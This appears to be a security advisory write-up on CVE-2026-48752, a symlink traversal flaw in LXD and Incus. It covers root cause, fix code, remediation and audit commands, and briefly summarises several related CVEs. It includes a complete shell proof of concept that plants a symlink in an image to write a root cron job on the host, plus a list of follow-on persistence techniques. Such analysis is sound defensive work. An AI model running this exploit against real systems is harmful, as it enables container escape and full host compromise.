Nov 6, 2026·10 min read·3 visits
Authenticated users capable of importing images into LXD or Incus can include a symbolic link at the `templates` path inside an image tarball. Interacting with the instance template management API causes the root daemon to traverse this symlink onto the host filesystem, granting arbitrary file read and write access as root.
A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.
Canonical LXD and Linux Containers Incus are system container and virtual machine managers built around a privileged daemon (lxd or incusd) that exposes a REST API over a local UNIX socket and optionally over HTTPS. The daemon manages instance lifecycles, storage pools, network interfaces, and image imports. To support dynamic configuration of containers upon initialization, both platforms implement an instance templating engine that processes files stored inside a dedicated templates directory located within the instance's storage volume on the host.
Clients interact with these templates through the /1.0/instances/<name>/metadata/templates REST API endpoint or via the lxd config template and incus config template CLI subcommands. These interfaces permit users to list existing template files, read their contents, and create or overwrite templates. Because the daemon executes on the host with root privileges, any filesystem operations performed by these API handlers execute under the security context of the host root user unless explicitly confined.
CVE-2026-48752 (tracked as GHSA-jpf8-86f3-wp38 for LXD and GHSA-vxp5-584q-c479 for Incus) is a symbolic link resolution vulnerability classified under CWE-59 (Improper Link Resolution Before File Access) and CWE-73 (External Control of File Name or Path). When importing an image tarball or backup archive, the unpacking logic extracts archive entries directly into the instance storage path on the host without verifying whether the top-level templates directory is a symbolic link.
An attacker with privileges to import an image and create an instance can supply a crafted tarball where templates is a symbolic link pointing to an arbitrary directory on the host filesystem, such as /etc/cron.d or /root/.ssh. When the attacker subsequently invokes the template API endpoints, the daemon resolves the templates symlink and reads, lists, or writes files directly in the target host directory as root, resulting in a container-to-host escape and remote code execution on the underlying host.
The vulnerability originates from an incomplete boundary check between two subsystems: the archive extraction routine and the instance metadata HTTP handler. When an image or backup is imported, internal/server/storage/utils.go calls archive.Unpack() (defined in shared/archive/archive.go) to extract the contents of the uploaded tarball into the destination instance directory on the host storage pool (for example, /var/snap/lxd/common/lxd/storage-pools/default/containers/<instance_name>/). While the extraction logic filters out character and block device nodes to prevent unauthorized device access, it permits symbolic links to be extracted at the top level of the archive.
When the daemon later processes requests directed at /1.0/instances/<name>/metadata/templates, it resolves the path to the templates directory by calling filepath.Join(c.Path(), "templates") or filepath.Join(c.Path(), "templates", filename). In Go, filepath.Join performs purely lexical path manipulation and does not inspect the filesystem for symbolic links. The resulting path string is passed directly to standard library filesystem functions including os.ReadDir(), os.Open(), and os.OpenFile().
Because standard POSIX open(2) and opendir(3) system calls automatically dereference intermediate symbolic links along a path, the operating system kernel follows the attacker-controlled templates symlink outside the instance directory boundary. Even if the O_NOFOLLOW flag were applied to the final open(2) call, O_NOFOLLOW only prevents following a symlink at the terminal path component (filename); it does not stop the kernel from traversing a symlink at an intermediate directory component (templates).
Consequently, any GET, POST, or DELETE request to the templates metadata endpoint operates directly on the target directory specified by the symlink. The daemon opens files for writing using os.O_WRONLY|os.O_CREATE|os.O_TRUNC with mode 0644 under UID 0, granting the API client unrestricted read, write, and directory listing capabilities across the entire host filesystem.
Remediation of CVE-2026-48752 required addressing both the lack of symlink validation on instance subpaths and the unconfined filesystem calls in the metadata handlers. In Canonical LXD commit 190e2451544a60f6f924ef50a2112fb65d1923cd, the developers modified lxd/instance/drivers/driver_common.go to replace direct filepath.Join calls in RootfsPath() and TemplatesPath() with a helper method subPath() that performs an os.Lstat check.
// TemplatesPath returns the instance's templates path.
// Returns an error if the path exists and is a symlink.
func (d *common) TemplatesPath() (string, error) {
return d.subPath("templates")
}
// subPath returns the path of name beneath the instance's path, rejecting it if it exists and is a symlink.
func (d *common) subPath(name string) (string, error) {
path := filepath.Join(d.Path(), name)
// Use Lstat to inspect the path entry itself without following symlinks.
fi, err := os.Lstat(path)
if err != nil {
if os.IsNotExist(err) {
return path, nil
}
return "", err
}
// Reject the path if the mode bitmask indicates a symbolic link.
if fi.Mode()&os.ModeSymlink != 0 {
return "", fmt.Errorf("%q for instance %q is a symlink", name, d.name)
}
return path, nil
}While os.Lstat prevents direct symlink traversal at check time, relying solely on pre-open stat checks can leave code paths susceptible to Time-of-Check to Time-of-Use (TOCTOU) race conditions or nested symlink traversal if subdirectories are involved. To eliminate symlink traversal at the OS level, both LXD (in commits 254b85c9301397e25304116b63da9154093199da and 4cd63344f8a523acf39fdc02a80fd64b2e3b584f) and Incus (in commit cbefa31ae0da8fd96361178aed3a3c631e098fef) migrated template file operations to use Go's os.OpenRoot API.
// IsFileName returns true if name is a plain file name with no path separators or traversal.
func IsFileName(name string) bool {
return !strings.Contains(name, "/") && !strings.Contains(name, "\\") && !strings.Contains(name, "..")
}In Linux environments, os.OpenRoot leverages the openat2(2) system call with RESOLVE_BENEATH and RESOLVE_NO_SYMLINKS semantics (or equivalent file descriptor confinement), guaranteeing that no path resolution performed relative to the os.Root handle can escape the directory tree. Furthermore, the LXD patch introduced shared.IsFileName(templateName) to verify that user-supplied template filenames do not contain path separators (/, \) or parent directory references (..). This combination of input sanitization, os.Lstat verification, and kernel-enforced directory confinement via os.OpenRoot provides a complete fix that prevents both direct symlink following and multi-component path traversal.
Exploiting CVE-2026-48752 requires an authenticated session to the LXD or Incus daemon with privileges to import an image and initialize an instance. In multi-tenant deployments, project-restricted users or automated CI/CD service accounts frequently hold these permissions without having administrative access to the underlying host. No race conditions, memory corruption primitives, or user interaction are required.
To execute the attack, the adversary constructs a unified image tarball locally. A valid unified image requires only two components: a metadata.yaml file specifying the architecture and creation timestamp, and a rootfs directory. Alongside these components, the attacker creates a symbolic link named templates pointing to a sensitive host directory such as /etc/cron.d.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# 1. Create rootfs and malicious symlink pointing to /etc/cron.d on host
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
# 2. Add minimal metadata.yaml
cat <<__EOF__ >"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
# 3. Create the malicious image tarball
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
# 4. Import the image into Incus / LXD
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
# 5. List files in the target host directory (/etc/cron.d)
incus config template ls afrw-image-templates-symlink
# 6. Write arbitrary file on host to trigger root shell command:
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32Once the tarball is imported via incus image import (or lxc image import) and an instance is initialized in a stopped state via incus init, the instance need not even be started. Running incus config template ls <instance> issues a GET request that lists all filenames inside /etc/cron.d on the host. Running incus config template show <instance> <filename> retrieves the raw contents of any file within that directory.
Finally, invoking incus config template create <instance> poc-32 sends a POST request that instructs the daemon to create /etc/cron.d/poc-32 owned by root:root with permissions 0644 and populate it with the attacker's standard input stream. Because /etc/cron.d files require root ownership and mode 0644 to be parsed by the system cron daemon, the created file satisfies all strict cron security checks, resulting in arbitrary command execution as root on the host at the next minute boundary.
The security impact of CVE-2026-48752 is a complete compromise of the host operating system from a low-privileged API client context. The vulnerability carries a CVSS v3.1 base score of 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). The Scope metric is Changed (S:C) because the vulnerable component is the container management daemon's isolated instance storage handling, while the impacted component is the underlying host operating system and all other co-located instances.
Confidentiality impact is High (C:H). By creating separate images with templates symlinks targeting /etc, /root/.ssh, /var/lib/incus, or /var/snap/lxd/common/lxd, an attacker can read arbitrary files across the host filesystem. This includes /etc/shadow password hashes, host SSH private keys, TLS server certificates for the LXD/Incus cluster, and data belonging to other tenants' containers or virtual machines.
Integrity and Availability impacts are also High (I:H, A:H). Arbitrary file write as root with 0644 permissions enables immediate privilege escalation and code execution through multiple mechanisms, including writing cron jobs to /etc/cron.d/, injecting SSH public keys into /root/.ssh/authorized_keys, modifying /etc/systemd/system/ service unit files, or overwriting system binaries and shared libraries. Furthermore, because os.OpenFile is invoked with os.O_TRUNC, an attacker can truncate critical host configuration or database files, causing a persistent denial of service.
As of the time of analysis, CVE-2026-48752 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and its EPSS score is 0.00784 (56.22nd percentile). However, because a reliable shell script Proof-of-Concept is publicly documented in the vendor advisories, any environment exposing the LXD or Incus API to semi-trusted users or multi-tenant workloads faces immediate risk.
Administrators running Canonical LXD or Linux Containers Incus must upgrade to a patched release that enforces os.OpenRoot confinement and rejects symbolic links on instance subpaths. For Linux Containers Incus, the vulnerability is resolved in version 7.2.0 and later. For Canonical LXD, fixes have been backported across supported tracks: upgrade to 4.0.11 (4.0 LTS), 5.0.7 (5.0 LTS), 5.21.5 (5.x feature branch), or 6.9.0 and later.
> [!NOTE] > Upgrading the daemon binary prevents future exploitation of existing symlinks via the template API, as the patched endpoints refuse to traverse symlinks outside the instance root. However, administrators should still audit existing storage pools for indicators of prior compromise.
To verify whether any existing instances on a host contain a symbolic link at the templates path, administrators should inspect the active storage pool directories directly on the host filesystem:
# Audit Canonical LXD storage pools for symlinked template directories
find /var/snap/lxd/common/lxd/storage-pools/ -maxdepth 4 -name templates -type l -ls
# Audit Linux Containers Incus storage pools for symlinked template directories
find /var/lib/incus/storage-pools/ -maxdepth 4 -name templates -type l -lsIn environments where immediate patching is not operationally feasible, access to image import and instance creation capabilities must be restricted solely to fully trusted host administrators. Specifically, review all client TLS certificates registered in the trust store (lxc config trust list or incus config trust list), audit RBAC or OpenFGA access policies to revoke image and instance creation rights from untrusted users, and ensure local UNIX socket permissions (/var/snap/lxd/common/lxd/unix.socket or /var/lib/incus/unix.socket) are restricted to administrative groups.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
LXD (4.0 LTS) Canonical | >= 4.0.0, < 4.0.11 | 4.0.11 |
LXD (5.0 LTS) Canonical | >= 5.0.0, < 5.0.7 | 5.0.7 |
LXD (5.x Feature Releases) Canonical | >= 5.1.0, < 5.21.5 | 5.21.5 |
LXD (6.x) Canonical | >= 6.0.0, < 6.9.0 | 6.9.0 |
Incus Linux Containers | < 7.2.0 | 7.2.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-48752 |
| Primary CWE | CWE-59: Improper Link Resolution Before File Access ('Link Following') |
| CVSS v3.1 Score | 9.9 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) |
| Attack Vector | Network / Local UNIX Socket API (Authenticated Image Import) |
| Security Impact | Arbitrary Host File Read & Write as Root / Container Escape |
| EPSS Score | 0.78% (56.22nd Percentile) |
| Exploit Status | Public Proof-of-Concept Available |
| CISA KEV Status | Not Listed |
The software attempts to access a file based on the filename, but it does not properly prevent that filename from resolving to a link that points to a resource outside of the intended control sphere.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.
CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.
CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.
CVE-2026-61536 is a high-severity Remote Code Execution (RCE) vulnerability in the masci/banks Python library prior to version 2.4.3. The flaw exists within the CompletionExtension component, which parses JSON-serialized Tool definitions directly from rendered Jinja template bodies inside {% completion %} blocks. When handling tool calls returned by an LLM, the library dynamically resolves the target callable using importlib.import_module() and getattr() based on an unvalidated import_path string. An attacker who can supply or modify prompt templates can inject a malicious Tool JSON object pointing to arbitrary Python functions (such as os.system), bypassing the Jinja SandboxedEnvironment introduced in version 2.4.2 and achieving arbitrary code execution when the LLM invokes the tool.
Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.